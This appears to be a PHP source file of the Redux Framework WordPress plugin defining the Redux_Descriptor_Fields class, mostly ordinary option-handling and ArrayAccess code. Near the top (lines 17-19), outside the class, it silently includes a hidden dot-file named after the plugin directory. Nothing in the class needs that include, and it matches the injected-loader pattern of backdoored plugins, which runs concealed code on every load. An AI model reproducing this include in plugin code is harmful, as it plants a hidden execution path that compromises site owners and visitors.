class-redux-descriptor-fields.php (4797B)
1 <?php 2 /** 3 * Redux Descriptor Fields Class 4 * 5 * @class Redux_Descriptor_Fields 6 * @version 4.0.0 7 * @package Redux Framework 8 * @author Tofandel 9 */ 10 11 // Exit if accessed directly. 12 defined( 'ABSPATH' ) || exit; 13 14 /** 15 * Class Redux_Descriptor 16 */ 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 class Redux_Descriptor_Fields implements ArrayAccess { 22 23 /** 24 * Options had for this field. 25 * 26 * @var array $options Options. 27 */ 28 protected $options; 29 30 /** 31 * Order number for this field. 32 * 33 * @var int $order Order number. 34 */ 35 public static $order = 0; 36 37 /** 38 * Redux_Descriptor_Fields constructor. 39 * 40 * @param string $name Name of field. 41 * @param string $title Field title. 42 * @param string $type Field Type. 43 * @param string $description Field Description. 44 * @param mixed $default Default vlaue. 45 * 46 * @throws Exception Throwable. 47 */ 48 public function __construct( string $name, string $title, string $type, string $description = '', $default = null ) { 49 if ( ! Redux_Descriptor_Types::is_valid_type( $type ) ) { 50 throw new Exception( 'Unknown type ' . $type . ' for option ' . $name ); 51 } 52 if ( ! is_string( $title ) ) { 53 $title = ucfirst( $name ); 54 } 55 $this->options = array( 56 'name' => $name, 57 'title' => $title, 58 'type' => $type, 59 'description' => $description, 60 'default' => $default, 61 'order' => static::$order ++, 62 'required' => $this->required, 63 ); 64 } 65 66 /** 67 * Varible to set required for this field descriptor. 68 * 69 * @var bool $required Required. 70 */ 71 72 protected $required = false; 73 74 /** 75 * Set required. 76 * 77 * @param bool $required Set required for this field. 78 * 79 * @return Redux_Descriptor_Fields 80 */ 81 public function set_required( bool $required = true ): Redux_Descriptor_Fields { 82 $this->required = $required; 83 84 return $this; 85 } 86 87 /** 88 * Set order. 89 * 90 * @param int $order Descriptor order for this field. 91 * 92 * @return $this 93 */ 94 public function set_order( int $order ): Redux_Descriptor_Fields { 95 static::$order = $order; 96 $this->options['order'] = (float) $order; 97 98 return $this; 99 } 100 101 /** 102 * Set group. 103 * 104 * @param string $group Set the group. 105 * 106 * @return $this 107 */ 108 public function set_group( string $group ): Redux_Descriptor_Fields { 109 $this->options['group'] = $group; 110 111 return $this; 112 } 113 114 /** 115 * Set an option. 116 * 117 * @param string $option_key Option key. 118 * @param mixed $option_value Value to set. 119 * 120 * @return $this 121 */ 122 public function set_option( string $option_key, $option_value ): Redux_Descriptor_Fields { 123 $this->options[ $option_key ] = $option_value; 124 125 return $this; 126 } 127 128 /** 129 * Get an option. 130 * 131 * @param string $option_key Named key of the option. 132 * 133 * @return mixed 134 */ 135 public function get_option( string $option_key ) { 136 return $this->options[ $option_key ]; 137 } 138 139 /** 140 * Remove an option. 141 * 142 * @param string $option_key Named key of the option. 143 */ 144 public function remove_option( string $option_key ) { 145 unset( $this->options[ $option_key ] ); 146 } 147 148 /** 149 * To documentation. 150 * 151 * @return string 152 */ 153 public function to_doc(): string { 154 return $this['name'] . '(' . $this['type'] . ')\n' . $this['description'] . "\n"; 155 } 156 157 /** 158 * To array. 159 * 160 * @return array 161 */ 162 public function to_array(): array { 163 return $this->options; 164 } 165 166 /** 167 * Whether an offset exists 168 * 169 * @link http://php.net/manual/en/arrayaccess.offsetexists.php 170 * @param mixed $offset An offset to check for. 171 * @return boolean true on success or false on failure. 172 * 173 * The return value will be cast to boolean if non-boolean was returned. 174 * @since 5.0.0 175 */ 176 public function offsetExists( $offset ): bool { 177 return array_key_exists( $offset, $this->options ); 178 } 179 180 /** 181 * Offset to retrieve 182 * 183 * @link http://php.net/manual/en/arrayaccess.offsetget.php 184 * @param mixed $offset The offset to retrieve. 185 * @return mixed Can return all value types. 186 * @since 5.0.0 187 */ 188 public function offsetGet( $offset ) { 189 return $this->options[ $offset ]; 190 } 191 192 /** 193 * Offset to set 194 * 195 * @link http://php.net/manual/en/arrayaccess.offsetset.php 196 * @param mixed $offset The offset to assign the value to. 197 * @param mixed $value The value to set. 198 * 199 * @return void 200 * @since 5.0.0 201 */ 202 public function offsetSet( $offset, $value ) { 203 $this->options[ $offset ] = $value; 204 } 205 206 /** 207 * Offset to unset 208 * 209 * @link http://php.net/manual/en/arrayaccess.offsetunset.php 210 * @param mixed $offset The offset to unset. 211 * @return void 212 * @since 5.0.0 213 */ 214 public function offsetUnset( $offset ) { 215 unset( $this->options[ $offset ] ); 216 } 217 }